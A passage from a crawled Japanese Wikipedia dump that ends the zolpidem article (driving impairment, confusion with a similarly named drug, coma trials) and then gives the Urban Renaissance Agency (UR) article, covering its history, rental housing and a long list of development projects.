本薬剤内服が運転能力に支障をきたすおそれがあり、その危険性が服用者に自覚されにくいという問題が指摘されている<ref name="pmid23923991">{{cite journal|author=Farkas RH, Unger EF, Temple R|title=Zolpidem and driving impairment--identifying persons at risk|journal=N. Engl. J. Med.|issue=8|pages=689–91|date=August 2013|pmid=23923991|doi=10.1056/NEJMp1307972|url=https://www.nejm.org/doi/full/10.1056/NEJMp1307972}}</ref>。容量、血中濃度、内服後から経過した時間、飲酒の有無、などが運転能力の障害と関係する可能性がある<ref name="pmid23923991"/>。
日本の判例では、マイスリーの内服と交通事故(自損事故)との因果関係が裁判で争われ、因果関係が認められた<ref name="naid40020529559">{{Cite journal |和書|author=清水太郎 |date=2015-07 |title=保険法・判例研究(47)睡眠導入剤の服用と車両保険の免責[名古屋高裁平成25.7.25判決] |journal=共済と保険 |volume=57 |issue=7 |pages=23-29 |naid=40020529559 |url=https://www.jcia.or.jp/publication/pdf/hanrei_47.pdf |format=pdf}}</ref>。
=== 注意事項 ===
「マイスリー(一般名:ゾルピデム酒石酸塩):催眠鎮静剤(入眠剤)」と[[大日本住友製薬]]の「マイスタン(一般名:[[クロバザム]]):[[抗てんかん薬]]」の取り違えが相次いで発生していることを受け、両社は2018年10月23日、医療機関に防止策の検討を依頼した。処方・調剤の際に薬効と販売名を確認し、処方オーダーシステム上で薬効名やアラートを表示させるなどの方法を例示している<ref>{{Cite web|和書|url=https://www.pmda.go.jp/files/000247407.pdf |title=マイスリーとマイスタンとの販売名類似による取り違え注意のお願い |filefomat=PDF |date=2018-10 |accessdate=2020-12-11 |publisher=大日本住友製薬株式会社、アステラス製薬株式会社}}</ref>。
== 意識障害回復の可否 ==
また、1999年に[[遷延性意識障害]]となった人へ投与したところ意識が一時的に回復(その後薬の効果がなくなると共に昏睡状態に戻る)した<ref>{{Cite web|url=http://www.telegraph.co.uk/news/uknews/1567880/Sleeping-pill-Zolpidem-awakens-girl-from-coma.html|title=Sleeping pill Zolpidem awakens girl from coma|accessdate=2020-10-02|publisher=The Telegraph}}</ref> ことから、現在その効果についての臨床試験が行われており、一部の被験者には実際に効果が出ている報告も上がっている。
しかし、60人の被験者にて調査したところそのような効果は確認できなかった<ref name="pmid24598393">{{cite journal|authors=Thonnard M, Gosseries O, Demertzi A, etal ||title=Effect of zolpidem in chronic disorders of consciousness: a prospective open-label study|journal=Functional Neurology|issue=4|pages=259–64|year=2013|pmid=24598393|pmc=3951253|doi=10.11138/FNeur/2013.28.4.259|url=https://www.functionalneurology.com/materiale_cic/726_XXVIII_4/6276_effect/article.htm}}</ref>。
== 出典 ==
* {{PDFlink|[https://pins.japic.or.jp/pdf/newPINS/00060464.pdf ゾルピデム酒石酸塩錠]}} 2017年3月改訂(第7版)
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist|2}}
== 関連項目 ==
* [[Z薬]]
== 外部リンク ==
* [https://www.pmda.go.jp/PmdaSearch/iyakuDetail/ResultDataSetPDF/800126_1129009F1025_3_24#page=1 マイスリー錠5mg・マイスリー錠10mg」] 添付文書
{{催眠鎮静薬}}
{{DEFAULTSORT:そるひてむ}}
[[Category:非ベンゾジアゼピン系]]
[[Category:睡眠薬]]
[[Category:イミダゾピリジン]]
[[Category:アミド]]
[[Category:ベンゼン誘導体]]
[[Category:GABA受容体作動薬]] | 2003-04-18T00:56:18Z | 2023-12-05T12:05:48Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%BE%E3%83%AB%E3%83%94%E3%83%87%E3%83%A0 |
6,888 | 都市再生機構 | 独立行政法人都市再生機構(としさいせいきこう、英: Urban Renaissance Agency、略称: UR)は、大都市や地方中心都市における市街地の整備改善や賃貸住宅の供給支援、UR賃貸住宅(旧公団住宅)の管理を主な目的とする独立行政法人(中期目標管理法人)。国土交通省所管。愛称は略称を冠した「UR都市機構」(ユーアールとしきこう)。
法人の名称、目的、業務の範囲等は独立行政法人都市再生機構法によって定められている(同1条)。
日本住宅公団を前身とし、2004年7月1日に都市基盤整備公団(通称:都市公団)と地域振興整備公団の地方都市開発整備部門が統合され設立された。
主な収益はUR賃貸住宅の家賃収入や再開発等の市街地整備による土地の売却益等である。
主たる事務所は神奈川県横浜市にあり、首都圏(東京・横浜・埼玉・千葉・つくば)をはじめ、名古屋(中部)・大阪(西日本)・福岡(九州)に支社、札幌・盛岡・仙台・那覇など国内各地のほか、オーストラリア(シドニー)にも事務所が存在する。
合筆や分筆など地番を定めるために必要な情報収集の「都市再生街区基本調査」と呼ぶ地籍調査を三大都市圏で行う。三大都市圏以外の地域では国土地理院が行う。
日本住宅公団最初期(昭和31年)に手掛けた千里山団地を皮切りに、公団住宅と呼ばれた昭和30年代から平成初期に建てられた大都市近郊の大規模ニュータウン団地から、都心部の超高層タワー住宅に至るまで、北海道から九州まで全国で70万戸以上がUR賃貸住宅として管理されている。入居者は約200万人で「世界最大の大家」とも言われる。
1960年代から1970年代にかけて建設された経年団地においては、住棟の建て替えや集約化などの団地再生事業が行われている。高度成長期に大量入居した団地では、住民の高齢化や買い物難民などの課題を抱えているところもある。1980年代末以降は住戸タイプの多様化により、部屋面積の拡大や凝ったデザインの採用など様々な工夫が行われるようになった。アネックスルーム(離れ)やフリールームを持つ物件もある。しかしこれらの住宅は家賃が高騰し空きがない物件も多い。日本住宅公団時代に建設された古い団地を建て替えた場合「コンフォール」というブランドに名称変更されている。草加松原団地→コンフォール松原など。
新規物件については抽選により入居者が決定されるが、原則として既存物件については空き住戸への先着順入居である。保証人は不要。年収または貯蓄の規定があるが、家賃1年分以上と敷金を前払いすることで誰でも入居が可能である。家賃は前払いで1年から10年分まとめて支払うことができ、一括支払い期間に応じて割引がある。近年は条件があるが新たな家賃割制度もある。また多くの団地には敷地・建物内に管理事務所が設けられている。
日本人以外も比較的入居しやすいため、外国人のコミュニティが形成される団地がある。例えば、川口芝園団地(埼玉県川口市芝園町)のように、隣接した小学校の児童の多くが外国人児童(2003年の入学児童の4割が中国籍)というところもある。
都市部を中心に超高層マンション(タワーマンション)の賃貸物件が供給されている。
以下は民間による管理に移行
千里ニュータウン、多摩ニュータウン、港北ニュータウン、千葉ニュータウン、高蔵寺ニュータウン、みそのウイングシティ、越谷レイクタウン、筑波研究学園都市、関西文化学術研究都市、北九州学術研究都市などの国内最大規模のニュータウンや研究都市開発のほか、横浜みなとみらい21、恵比寿ガーデンプレイス、大川端リバーシティ21、東雲キャナルコート、晴海アイランドトリトンスクエア、新宿アイランド、芝浦アイランド、横浜アイランドタワー、大阪駅北地区、九州大学六本松地区など、大都市圏における大規模な都市再生事業を多数手掛けている。また、地方都市においても那覇新都心、長岡ニュータウン、今治新都市開発などの開発事業等を行っているほか、阪神・淡路大震災や東日本大震災の被災地における震災復興支援事業として、宅地造成(土地区画整理事業)や公営住宅建設なども数多く手掛けている。
ほか多数 | [
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"text": "法人の名称、目的、業務の範囲等は独立行政法人都市再生機構法によって定められている(同1条)。",
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"text": "合筆や分筆など地番を定めるために必要な情報収集の「都市再生街区基本調査」と呼ぶ地籍調査を三大都市圏で行う。三大都市圏以外の地域では国土地理院が行う。",
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"text": "日本住宅公団最初期(昭和31年)に手掛けた千里山団地を皮切りに、公団住宅と呼ばれた昭和30年代から平成初期に建てられた大都市近郊の大規模ニュータウン団地から、都心部の超高層タワー住宅に至るまで、北海道から九州まで全国で70万戸以上がUR賃貸住宅として管理されている。入居者は約200万人で「世界最大の大家」とも言われる。",
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"text": "1960年代から1970年代にかけて建設された経年団地においては、住棟の建て替えや集約化などの団地再生事業が行われている。高度成長期に大量入居した団地では、住民の高齢化や買い物難民などの課題を抱えているところもある。1980年代末以降は住戸タイプの多様化により、部屋面積の拡大や凝ったデザインの採用など様々な工夫が行われるようになった。アネックスルーム(離れ)やフリールームを持つ物件もある。しかしこれらの住宅は家賃が高騰し空きがない物件も多い。日本住宅公団時代に建設された古い団地を建て替えた場合「コンフォール」というブランドに名称変更されている。草加松原団地→コンフォール松原など。",
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"text": "日本人以外も比較的入居しやすいため、外国人のコミュニティが形成される団地がある。例えば、川口芝園団地(埼玉県川口市芝園町)のように、隣接した小学校の児童の多くが外国人児童(2003年の入学児童の4割が中国籍)というところもある。",
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"text": "ほか多数",
"title": "開発事業(都市再生事業・ニュータウン事業・震災復興支援事業)"
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]
| 独立行政法人都市再生機構は、大都市や地方中心都市における市街地の整備改善や賃貸住宅の供給支援、UR賃貸住宅(旧公団住宅)の管理を主な目的とする独立行政法人(中期目標管理法人)。国土交通省所管。愛称は略称を冠した「UR都市機構」(ユーアールとしきこう)。 | {{Infobox 組織2
| 名称 = 独立行政法人都市再生機構
| Width = 250
| 画像 = UR Logo.png
| 脚注 =
| 画像2 = [[File:Yokohama Island Tower.jpg|250px|機構本社の入居する横浜アイランドタワー(神奈川県横浜市)]]
| 脚注2 = 機構本社の入居する[[横浜アイランドタワー]]<br>(神奈川県横浜市)
| 正式名称 = 独立行政法人都市再生機構
| 英語名称 = Urban Renaissance Agency
| 通称 = 都市機構
| 略称 = UR(ユーアール)
| 組織形態 = [[独立行政法人]]
| 本部名称 = 本社<!--拠点が多数あってすぐ下の住所がどこのものか不明瞭な様な場合に記入。本部、事務局、などと記入。それ以外の場合は無記入でOK-->
| 所在国 = {{JPN}}
| 所在地郵便番号 = 231-8315
| 所在地 = [[神奈川県]][[横浜市]][[中区 (横浜市)|中区]][[本町 (横浜市)|本町]]六丁目50番地1<br>[[横浜アイランドタワー]]<br>5階 - 18階
| 位置 = {{Coord|35|27|0.5|N|139|38|6.4|E|display=inline,title}}
| 予算 =
| 資本金 = 1兆757億円<ref name="gaiyou">{{Cite web|和書|url= http://www.ur-net.go.jp/aboutus/gaiyou.html|title= 概要|publisher= UR都市機構|accessdate=2023-12-28}}</ref>
| 資金 =
| 負債 =
| 人数 = 職員数 3,196人<ref name="gaiyou" />
| 代表 =
| 所長 =
| 理事長 = [[中島正弘]]
| 代表職名 = <!--組織トップの肩書が上の三つ以外の場合、ここにその肩書を記入-->
| 代表氏名 = <!--組織トップの肩書が上の三つ以外の場合、すぐ上で肩書を記入し、ここに人物の名前を記入-->
| 目的 = 都市再生
| 活動内容 = 都市再生のプロデュース<br>震災等の復興支援事業<br>都市部の防災機能の強化
| 活動領域 =
| 設立年月日 = 2004年7月1日
| 前身 = 都市基盤整備公団<br>地域振興整備公団の地方都市開発整備部門
| 設立者 =
| 廃止年月日 =
| 後身 =
| 上位組織 =
| 所管 = [[国土交通省]]
| 下位組織 =
| 関連団体 =
| 拠点 =
| 保有施設 =
| 保有装置 =
| 保有物分類1 = <!--施設でも装置でもない何かを保有している場合に、ここにその種別を記入。例えば船舶、衛星など-->
| 保有物名称1 = <!--すぐ上の種別に属する保有物の名称をここに記入。例えばしんかい6500、など-->
| 保有物分類2 =
| 保有物名称2 =
| 保有物分類3 =
| 保有物名称3 =
| 提供サービス =
| プロジェクト =
| 参加プロジェクト =
| 特記事項 =
| ウェブサイト = {{URL|https://www.ur-net.go.jp/}}
}}
'''独立行政法人都市再生機構'''(としさいせいきこう、{{Lang-en-short|Urban Renaissance Agency}}、[[略称]]: '''UR''')は、[[大都市]]や[[地方中枢都市|地方中心都市]]における[[市街地]]の整備改善や[[賃貸住宅]]の供給支援、UR[[賃貸住宅]](旧[[公団住宅]])の管理を主な目的とする[[独立行政法人]](中期目標管理法人)。[[国土交通省]]所管。愛称は略称を冠した「'''UR都市機構'''」(ユーアールとしきこう)。
== 概要 ==
法人の名称、目的、業務の範囲等は独立行政法人都市再生機構法によって定められている(同1条)<ref>[https://www.ur-net.go.jp/aboutus/ir/bjdv9d0000001o8p-att/ur202209_hsetsumei11.pdf 独立行政法人都市再生機構法]、独立行政法人都市再生機構(UR都市機構)、2023年4月21日閲覧。</ref>。
[[日本住宅公団]]を前身とし、[[2004年]][[7月1日]]に'''都市基盤整備公団'''(通称:都市公団)と'''[[地域振興整備公団]]の地方都市開発整備部門'''が統合され設立された。
主な収益はUR賃貸住宅の家賃収入や再開発等の市街地整備による土地の売却益等である。
主たる事務所は神奈川県[[横浜市]]にあり、[[首都圏 (日本)|首都圏]](東京・横浜・埼玉・千葉・つくば)をはじめ、名古屋(中部<!-- 東海3県 -->)・大阪(西日本<!-- 近畿・中四国15府県 -->)・福岡(九州<!-- 九州・沖縄8県 -->)に支社<!-- カッコ内は支社名及び担当地域 -->、札幌・盛岡・仙台・那覇など国内各地のほか、[[オーストラリア]]([[シドニー]])にも事務所が存在する。
[[合筆]]や[[分筆]]など[[地番]]を定めるために必要な情報収集の「都市再生街区基本調査」と呼ぶ[[地籍調査]]を[[三大都市圏]]で行う<ref>{{Cite web|和書
| url = http://tochi.mlit.go.jp/tockok/know/cityblock/index.html
| archiveurl = https://web.archive.org/web/20090127063546/http://tochi.mlit.go.jp/tockok/know/cityblock/index.html
| title = 都市再生街区基本調査とは
| publisher = [[国土交通省]]
| accessdate = 2009-4-16
| archivedate = 2009-1-27
| deadlinkdate = 2018年5月31日
}}</ref>。三大都市圏以外の地域では[[国土地理院]]が行う。
== 歴史 ==
{{see also|公団|日本住宅公団}}
=== 略年表 ===
==== 旧都市基盤整備公団 ====
* [[1955年]](昭和30年)7月 - [[日本住宅公団]]設立。
* [[1975年]](昭和50年)9月 - [[宅地開発公団]]設立。
* [[1981年]](昭和56年)10月 - 日本住宅公団と宅地開発公団を統合し、[[住宅・都市整備公団]]設立。
* [[1999年]](平成11年)10月1日 - 都市基盤整備公団に改組。
* [[2003年]](平成15年)3月17日 - 主たる事務所を東京都[[千代田区]][[九段北]]一丁目14番6号から横浜市中区本町六丁目50番地1の横浜アイランドタワーに移転。
* [[2004年]](平成16年)7月 - 地域振興整備公団の地方都市開発整備部門を統合し、都市再生機構設立。同時に鉄道事業を廃止し[[千葉ニュータウン鉄道]]に有償譲渡。
==== 旧地域振興整備公団 ====
* [[1962年]](昭和37年)7月 - 産炭地域振興事業団設立。
* [[1972年]](昭和47年)10月 - 工業再配置・産炭地域振興公団に改組、発足。
* [[1974年]](昭和49年)8月 - 地域振興整備公団に改組、発足。
* [[2004年]](平成16年)7月 - 地方都市開発整備部門が都市基盤整備公団と統合し、都市再生機構として新発足。産業系開発部門が中小企業総合事業団および産業基盤整備基金と統合し、[[中小企業基盤整備機構]]として新発足。
=== 歴代理事長 ===
*[[伴襄]](2004年-2005年)
*[[小野邦久]](2005年-2008年)
*[[小川忠男]](2008年-2012年<ref>{{Cite web|和書
| url = https://www.mlit.go.jp/common/000216598.pdf
| archiveurl = https://web.archive.org/web/20160807063950/http://www.mlit.go.jp/common/000216598.pdf
| format = PDF
| title = 平成24年7月期任命分 選考結果統括表
| publisher = 国土交通省
| accessdate = 2016-10-3
| archivedate = 2016-8-7}}</ref>)
*[[上西郁夫]](2012年-2016年<ref>{{Cite web|和書
| url = https://www.mlit.go.jp/common/001138466.pdf
| archiveurl = https://web.archive.org/web/20160804223325/http://www.mlit.go.jp/common/001138466.pdf
| format = PDF
| title = 平成28年7月期任命分 選考結果統括表
| publisher = 国土交通省
| accessdate = 2016-10-3
| archivedate = 2016-8-4}}</ref>)
*[[中島正弘]](2016年-)
== UR賃貸住宅 ==
日本住宅公団最初期(昭和31年)に手掛けた[[千里山|千里山団地]]を皮切りに、[[公団住宅]]と呼ばれた昭和30年代から平成初期に建てられた[[大都市]]近郊の大規模[[日本のニュータウン|ニュータウン]][[団地]]から、[[都心]]部の[[超高層マンション|超高層タワー住宅]]に至るまで、[[北海道]]から[[九州]]まで全国で70万戸以上がUR賃貸住宅として管理されている。入居者は約200万人で「世界最大の[[不動産賃貸業|大家]]」とも言われる。
[[1960年代]]から[[1970年代]]にかけて建設された経年団地においては、住棟の建て替えや集約化などの団地再生事業が行われている。[[高度成長期]]に大量入居した団地では、住民の[[高齢化]]や[[買い物難民]]などの課題を抱えているところもある。[[1980年代]]末以降は住戸タイプの多様化により、部屋面積の拡大や凝ったデザインの採用など様々な工夫が行われるようになった。アネックスルーム([[離れ]])やフリールームを持つ物件もある。しかしこれらの住宅は家賃が高騰し空きがない物件も多い。日本住宅公団時代に建設された古い団地を建て替えた場合「コンフォール」というブランドに名称変更されている。[[草加松原団地]]→[[コンフォール松原]]など。
新規物件については抽選により入居者が決定されるが、原則として既存物件については空き住戸への先着順入居である。[[保証人]]は不要。[[年収]]または[[貯蓄]]の規定があるが、家賃1年分以上と[[敷金]]を前払いすることで誰でも入居が可能である。家賃は前払いで1年から10年分まとめて支払うことができ、一括支払い期間に応じて割引がある。近年は条件があるが新たな家賃割制度もある。また多くの団地には敷地・建物内に管理事務所が設けられている。
日本人以外も比較的入居しやすいため、[[外国人]]の[[共同体|コミュニティ]]が形成される団地がある。例えば、川口芝園団地(埼玉県[[川口市]][[芝園町 (川口市)|芝園町]])のように、隣接した小学校の児童の多くが外国人児童(2003年の入学児童の4割が[[中華人民共和国|中国]][[国籍|籍]])というところもある<ref>{{Cite web|和書
| url = http://rdgs.itakura.toyo.ac.jp/rd/pdf/jan.pdf
| archiveurl = https://web.archive.org/web/20110722075828/http://rdgs.itakura.toyo.ac.jp/rd/pdf/jan.pdf
| format = PDF
| author = 江衛
| coauthors = 指導教員:[[山下清海]]教授
| title = 公共団地における新華僑の集住化と生活実態
| publisher = [[東洋大学]]
| date = 2004-1
| accessdate = 2007-12-19
| archivedate = 2011-7-22
| deadlinkdate = 2018年5月31日
}}</ref>。
== 超高層住宅 ==
<!--この節にリダイレクトされているページがあります-->
都市部を中心に[[超高層マンション]](タワーマンション)の賃貸物件が供給されている。
===東京都===
*[[晴海アイランドトリトンスクエア]]ビュープラザ
*晴海アイランドトリトンスクエアアーバンタワー
*ムーンアイランドタワー
*ベイシティ晴海スカイリンクタワー
*[[勝どきビュータワー]]
* [[リバーピア吾妻橋ライフタワー]](東京都墨田区 30階 高さ98.75 m)
*イーストコア曳舟二番館
*イーストコモンズ清澄白河セントラルタワー
* リバーハープタワー南千住2号棟(東京都荒川区 38階 高さ129.8 m)
*サンマークシティ日暮里ステーションポートタワー
*恵比寿ビュータワー
* [[中目黒アトラスタワー]](一部分)
*光が丘パークタウン 大通り南
*大泉学園ゆめりあタワー
*ヴァンガードタワー
* 板橋ビュータワー(東京都板橋区 32階 高さ103 m)
*ビュータワー八王子
以下は民間による管理に移行
* アクロシティタワーズ(東京都荒川区 32階 高さ105 [[メートル|m]])
* [[文京グリーンコート#集合住宅|ビュータワー本駒込]]B棟(東京都文京区 22階 高さ67.67 m)
* [[天王洲ビュータワー]]
* [[アクティ汐留]]
* [[トルナーレ日本橋浜町]]
* シーリアお台場一番街、シーリアお台場三番街
=== 神奈川県 ===
*[[オルトヨコハマ]]ビュータワー
=== 埼玉県 ===
* [[コンフォール松原|ハーモネスタワー松原]] (埼玉県草加市)
* [[ビュータワーおけがわ]](埼玉県桶川市)
=== 千葉県 ===
*八千代ゆりのき台ライフタワー
*I-linkタウンいちかわザタワーズイースト
*浦安マリナイースト21望海の街
=== 愛知県 ===
*[[サンクレア池下]]
=== 大阪府 ===
*酉島リバーサイドヒルなぎさ街
*ぷららてんま
*ベルマージュ堺弐番館
== 開発事業(都市再生事業・ニュータウン事業・震災復興支援事業) ==
[[File:多摩ニュータウン、多摩センター駅周辺の空撮2012.jpg|thumb|多摩ニュータウン]]
[[千里ニュータウン]]、[[多摩ニュータウン]]、[[港北ニュータウン]]、[[千葉ニュータウン]]、[[高蔵寺ニュータウン]]、[[みそのウイングシティ]]、[[越谷レイクタウン]]、[[筑波研究学園都市]]、[[関西文化学術研究都市]]、[[北九州学術研究都市]]などの国内最大規模のニュータウンや研究都市開発のほか、[[横浜みなとみらい21]]、[[恵比寿ガーデンプレイス]]、[[大川端リバーシティ21]]、[[東雲キャナルコート]]、[[晴海アイランドトリトンスクエア]]、[[新宿アイランド]]、[[芝浦アイランド]]、[[横浜アイランドタワー]]、[[大阪駅北地区]]、[[九州大学六本松地区]]など、大都市圏における大規模な都市再生事業を多数手掛けている。また、地方都市においても[[那覇新都心]]、[[長岡ニュータウン]]、[[今治新都市開発]]などの開発事業等を行っているほか、[[阪神・淡路大震災]]や[[東日本大震災]]の被災地における震災復興支援事業として、宅地造成([[土地区画整理事業]])や[[公営住宅]]建設なども数多く手掛けている。
=== 北海道 ===
{{div col}}
* [[あいの里|篠路拓北土地区画整理事業(札幌ニュータウンあいの里)]](札幌市北区)<!-- - [[北海道住宅供給公社]]と共同で開発。:昭和55年~平成2年 -->
* [[さっぽろ創世スクエア|札幌創世1.1.1区(さんく)北1西1地区第一種市街地再開発事業(さっぽろ創世スクエア)]](札幌市中央区)<!-- :平成26年度~令和元年度 -->
* 札幌麻生団地(札幌市北区麻生町)
* 札幌北二十四条市街地住宅及び北区役所庁舎(札幌市北区)
* 札幌北十三条市街地住宅(札幌市北区)
* 札幌[[新琴似]]四番通市街地住宅(札幌市北区)
* 札幌琴似市街地住宅(札幌市西区)
* 札幌琴似第二市街地住宅及び西区役所庁舎(札幌市西区)
* 札幌山の手団地(札幌市西区)
* 札幌北十条市街地住宅(札幌市東区)
* 札幌北十一条市街地住宅及び東区役所庁舎(札幌市東区)
* 札幌北十二条市街地住宅(札幌市中央区)
* 円山北町団地(札幌市中央区)
* 札幌北大通市街地住宅(札幌市中央区)
* 札幌創成橋市街地住宅(札幌市中央区)
* 札幌[[狸小路商店街|狸小路]]市街地住宅(札幌市中央区)
* 札幌北一条市街地住宅(札幌市中央区)
* 札幌南三条第一市街地住宅(札幌市中央区)
* 札幌南三条第二市街地住宅(札幌市中央区)
* 札幌南三条第三市街地住宅及び中央区役所庁舎(札幌市中央区)
* [[すすきの|薄野]]市街地住宅(札幌市中央区)
* 札幌[[平岸 (札幌市)|平岸]]市街地住宅及び豊平区役所庁舎(札幌市豊平区)
* 新木の花団地(札幌市豊平区)
* 札幌豊平市街地住宅(札幌市豊平区)
* 札幌月寒中央通市街地住宅(札幌市豊平区)
* 札幌西月寒団地(札幌市豊平区)
* 羊ケ丘団地(札幌市豊平区)
* 東札幌六条団地(札幌市白石区)
* 菊水三条団地(札幌市白石区)
* 札幌菊水市街地住宅(札幌市白石区)
* 白石本通ハイツ(札幌市白石区)
* 札幌本郷市街地住宅及び旧白石区役所庁舎(札幌市白石区)
* もみじ台西タウン団地(札幌市厚別区)
* 澄川団地(札幌市南区)
* 五輪団地(札幌市南区)
* あけぼの団地(札幌市南区)
* 北広島駅前団地(北広島市)
* 北広島若葉町団地(北広島市)
* 北広島北進町団地(北広島市)
* 大麻園町団地(江別市)
* 大麻宮町団地(江別市)
* 大麻中町団地(江別市)
* 花川中央団地(石狩市)
* 苫小牧旭町市街地住宅(苫小牧市)
* 函館赤川通団地(函館市)
* 函館川原町団地(函館市)
* 函館湯の川市街地住宅(函館市){{Div col end}}
=== 東北 ===
* [[八戸ニュータウン]](青森県)
* [[御所野ニュータウン]](秋田県)
* [[盛岡南新都市]]土地区画整理事業:ゆいとぴあ盛南,盛岡南新都市開発整備事業(岩手県)
* [[長町副都心|仙台市長町土地区画整理事業(あすと長町)]](宮城県仙台市)
* [[将監団地]](仙台市泉区)
* 仙台沖野団地(仙台市若林区)
* 仙台花壇団地(仙台市青葉区)
* 仙台宮城野団地(仙台市宮城野区)
* 仙台幸町団地(仙台市宮城野区)
* 仙台中山団地(仙台市青葉区)
* 仙台鶴ケ谷五丁目団地(仙台市宮城野区)
* 仙台鶴ケ谷団地(仙台市宮城野区)
* 仙台柏木一丁目団地(仙台市青葉区)
* タウンハウス鶴ケ谷西団地(仙台市宮城野区)
* 黒松団地(仙台市泉区)
* [[蔵王みはらしの丘]]:旧地域振興整備公団の土地区画整理事業(山形県)
* [[いわきニュータウン]](福島県)
* 会津喜多方中核工業団地造成事業(旧地域振興整備公団、福島県喜多方市松山町鳥見山地区及び同県耶麻郡熱塩加納村加納地区)
* 相馬中核工業団地(福島県相馬市、旧地域振興整備公団)
* いわき好間中核工業団地(旧地域振興整備公団)
=== 上越・北陸 ===
* 柏崎都市計画事業[[柏崎駅]]前土地区画整理事業 (新潟県)
* [[長岡ニュータウン]] (新潟県長岡市)
* 新潟南団地 (新潟市)
* 教育大南ハイツ団地 (新潟県上越市)
=== 関東 ===
==== 東京都 ====
* 小島町二丁目団地(江戸川区)
* 月島三丁目地区都市型住宅プラン検討 (中央区)
* 小岩駅周辺地区都市整備 (江戸川区)
* 東京都市計画事業有明北土地区画整理事業(江東区)
* [[品川シーサイドフォレスト|品川シーサイド]]ビュータワー・ビューガーデン (品川区)
* [[八潮 (品川区)|八潮パークタウン]](品川区)<!-- URとJKK東京の複合団地 -->
* 品川区・大田区私鉄沿線エリア
* [[汐留]]地区街並み整備(シオサイト) (港区)
** [[アクティ汐留]](港区)
* [[東京臨海副都心#台場地区|シーリアお台場]]三番街 (港区)
* 新橋一丁目14番地区 (港区)
* 白金台団地 (港区)
* [[芝浦アイランド]](港区)
* [[虎ノ門ヒルズ駅]]の整備(港区)<!-- URが事業主体として事業及び調整(折衝)、東京メトロが駅の整備施工 -->
* [[天王洲ビュータワー]] (品川区)
* [[北日ヶ窪団地]] (港区)
* [[勝どきビュータワー]]・晴海二丁目土地区画整理事業 (中央区)
* 勝どき駅前地区第一種市街地再開発事業 (中央区)
* [[晴海団地]]・[[晴海アイランドトリトンスクエア]] (中央区)
* 東日本橋1丁目地区 (中央区)
* [[大川端リバーシティ21]] (中央区)
* [[大手町連鎖型都市再生プロジェクト]](千代田区)
* [[リバーピア吾妻橋]]周辺地区 (墨田区)
* [[中野坂上サンブライトツインビル]] (中野区)
* 妙正寺川公園第一調整池 (中野区)
* [[文京グリーンコート]] (文京区)
* [[北砂五丁目団地]] (江東区)
* 木場公園[[三好 (江東区)|三好住宅]] (江東区)
* [[東雲キャナルコート]] (江東区)
* [[東雲キャナルコートCODAN]] (江東区)
* [[豊洲駅]]周辺地区 (江東区)
** [[豊洲]]2・3丁目土地区画整理事業:分譲住宅1500戸[[2008年]]竣工、そのほかは完成未定
** 豊洲3丁目地区住宅・都市基盤施設
** 豊洲五丁目地区 (いすゞ跡地)
* [[潮見駅]]前商業施設検討 (江東区)
* 亀戸西団地 (江東区)
* シティコート大島 (江東区)
* [[桜上水]]公団希望が丘団地 (世田谷区)
* 西経堂団地 (世田谷区)
* 二子玉川団地 (世田谷区)
* [[野沢 (世田谷区)|アクティ三軒茶屋]](明治薬科大学跡地再開発)(世田谷区)
* 世田谷区・目黒区私鉄沿線エリア土地有効利用事業検討
* 世田谷区役所周辺地区木賃整備事業検討 (世田谷区)
* [[新田 (足立区)|ハートアイランド新田]]一番街 (足立区)
* [[大谷田団地]] (足立区大谷田)
* パークタウン東綾瀬(足立区)
* 東京都市計画事業[[竹ノ塚]] (足立区)
* 花畑団地 (足立区)
* 日の出町団地 (足立区)
* 西新井団地 (足立区)
* 南千住四丁目RF街区 (足立区)
* [[芦花公園団地]] (世田谷区)
* [[中目黒ゲートタウン]] (目黒区)
* [[恵比寿ガーデンプレイス]] (目黒区)
* [[外苑団地]] (渋谷区)
* [[原宿団地]] (渋谷区)
* [[光が丘 (練馬区)|光が丘パークタウン]] (練馬区)<!--「光ヶ丘団地」千葉県柏市の団地-->
* [[高島平]] (板橋区)
* パークサイド石神井 (練馬区)
* [[新宿アイランド]] (新宿区)
* 百人町三丁目地区事業化検討 (新宿区)
* [[神谷 (東京都北区)|神谷一丁目]]地区密集市街地整備 (北区)
* [[桃井|プロムナード荻窪]] (杉並区)
* [[成田東 (杉並区)]] - [[阿佐ヶ谷住宅]] (杉並区)
* 荻窪団地・[[シャレール荻窪]](杉並区)
* [[アウルタワー|東池袋四丁目第2地区市街地再開発事業再開発ビル(アウルタワー)]] (豊島区)
* 上池袋1丁目東地区防災街区整備 (豊島区)
* 明石町(旧二中跡地)開発(ラ・ヴェール明石町) (中央区)
* [[赤羽台団地]]・[[ヌーヴェル赤羽台]](北区)
* [[王子 (東京都北区)|王子五丁目]]団地 (北区)
* [[豊島]]四丁目地区整備計画 (北区)
* 豊島五・六丁目地区土地区画整理事業 (北区)
* 豊島八丁目団地 (北区)
* 三田一丁目街づくり推進地区 (港区)
* 神田神保町三丁目地区土地有効利用事業事業化検討 (千代田区)
* 神田須田町一丁目14番地区 (千代田区)
* 船堀一丁目団地環境整備基本設計 (江戸川区)
* 大谷田一丁目団地 (足立区)
* 大島六丁目団地 (江東区)
* 下馬三丁目地区開発構想 (大田区)
* 南台一・二丁目地区事業化方策 (中野区)
* [[文京グリーンコート]]地区 (文京区)
* 東立石四丁目周辺地区開発 (葛飾区)
* [[金町駅]]前団地・金町駅前市街地住宅 (葛飾区)
* [[亀戸]]市街地住宅・[[亀有駅]]周辺地区整備 (葛飾区)
* [[青戸 (葛飾区)|青戸]]団地 (葛飾区)
* [[蓮根団地]]・新蓮根団地(板橋区)
* [[大谷口上町]]住宅改良計画 (板橋区)
* [[同潤会]]代官山アパートメントの記録保存と移築
* グリーンタウン武蔵村山 (武蔵村山市)
*[[聖蹟桜ヶ丘]]駅南地区市街地再開発事業(ヴィータ聖蹟桜ヶ丘) (多摩市)
** 聖蹟桜ヶ丘[[OPA]]
** 聖蹟桜ヶ丘ビュータワー
* 貝取北公園 (多摩市)
* 谷戸公園 (多摩市)
* [[多摩ニュータウン]]:[[新住宅市街地開発事業]]及び[[土地区画整理事業]](八王子市、稲城市、多摩市)
** 多摩ニュータウンの緑とオープンスペース
** ファインヒル[[向陽台 (稲城市)|いなぎ向陽台]] (稲城市)
** [[別所 (八王子市)|ライブ長池]] (八王子市)
** [[多摩ニュータウン#八王子市にまたがる区域|ベルコリーヌ南大沢]] (八王子市)
** [[下柚木]] (八王子市)
** 長池見附橋 (移設事業、多摩ニュータウンライブ長池) (八王子市)
** 堀之内駅前センター施設の立地促進検討調査 (八王子市)
